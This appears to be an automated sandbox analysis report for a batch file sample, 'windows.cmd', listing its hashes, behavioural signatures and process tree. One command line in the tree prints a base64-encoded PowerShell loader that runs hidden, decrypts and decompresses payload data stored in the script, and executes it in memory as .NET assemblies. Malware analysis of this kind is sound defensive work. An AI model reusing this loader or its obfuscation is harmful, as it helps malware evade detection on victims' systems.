Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
07/03/2024, 17:42
Static task
static1
Behavioral task
behavioral1
Sample
windows.cmd
Resource
win7-20240221-en
3 signatures
300 seconds
Behavioral task
behavioral2
Sample
windows.cmd
Resource
win10-20240221-en
7 signatures
300 seconds
Behavioral task
behavioral3
Sample
windows.cmd
Resource
win10v2004-20240226-en
7 signatures
300 seconds
General
-
Target
windows.cmd
-
Size
41KB
-
MD5
7c1a0a81ca6698741b4e63474dd92aec
-
SHA1
b280133be4093e3b3e26f8d093b586c56b08c307
-
SHA256
2a7ac0e5a3c13e07d3992907e86ec563a19f092fae7269b1eef0b8982ad66d5a
-
SHA512
c34baf46f54d94784cb15ad47557143c379270a1d1fb9c1a0249afd6055e3416ac13315e9d53091f6f5a218572c22779989b6ebe5d572ee57876ceb22ef4f8d2
-
SSDEEP
768:7hVuKGJcDLbuIQS1Bi9LA51oYuBZnYHUCpZs2P/FA220SIv7FSBCtY7YleBQl:7T3LbfQKqq/s2P/+220SID4oSYlWQl
Score
1/10
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2736 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2736 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2884 wrote to memory of 2848 2884 cmd.exe 29 PID 2884 wrote to memory of 2848 2884 cmd.exe 29 PID 2884 wrote to memory of 2848 2884 cmd.exe 29 PID 2884 wrote to memory of 2852 2884 cmd.exe 30 PID 2884 wrote to memory of 2852 2884 cmd.exe 30 PID 2884 wrote to memory of 2852 2884 cmd.exe 30 PID 2852 wrote to memory of 2340 2852 cmd.exe 32 PID 2852 wrote to memory of 2340 2852 cmd.exe 32 PID 2852 wrote to memory of 2340 2852 cmd.exe 32 PID 2852 wrote to memory of 2776 2852 cmd.exe 33 PID 2852 wrote to memory of 2776 2852 cmd.exe 33 PID 2852 wrote to memory of 2776 2852 cmd.exe 33 PID 2852 wrote to memory of 2736 2852 cmd.exe 34 PID 2852 wrote to memory of 2736 2852 cmd.exe 34 PID 2852 wrote to memory of 2736 2852 cmd.exe 34
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\windows.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵PID:2848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\windows.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"3⤵PID:2340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\windows.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gS0NMQUMoJFhwbHZMKXskTHl0QlI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JEx5dEJSLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskTHl0QlIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRMeXRCUi5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnVEJSbUcxd28rdWF0QURqb3VteXpOQ2RPdHR2Mm9SVFByZ2VvRE1mOXQrOD0nKTskTHl0QlIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRzJYODNZL2FpSmRPajBHVkh1K3gydz09Jyk7JHpyS29PPSRMeXRCUi5DcmVhdGVEZWNyeXB0b3IoKTskbEJ2SWU9JHpyS29PLlRyYW5zZm9ybUZpbmFsQmxvY2soJFhwbHZMLDAsJFhwbHZMLkxlbmd0aCk7JHpyS29PLkRpc3Bvc2UoKTskTHl0QlIuRGlzcG9zZSgpOyRsQnZJZTt9ZnVuY3Rpb24ga0tOV1goJFhwbHZMKXskcHBsdXI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkWHBsdkwpOyRKb2ZSSz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JEtSU2RMPU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJHBwbHVyLFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskS1JTZEwuQ29weVRvKCRKb2ZSSyk7JEtSU2RMLkRpc3Bvc2UoKTskcHBsdXIuRGlzcG9zZSgpOyRKb2ZSSy5EaXNwb3NlKCk7JEpvZlJLLlRvQXJyYXkoKTt9JG1MTmtiPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskZWJ6eVg9a0tOV1ggKEtDTEFDIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJG1MTmtiLCA1KS5TdWJzdHJpbmcoMikpKSk7JFRIeXlTPWtLTldYIChLQ0xBQyAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRtTE5rYiwgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kVEh5eVMpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGVienlYKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "3⤵PID:2776
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736
-
-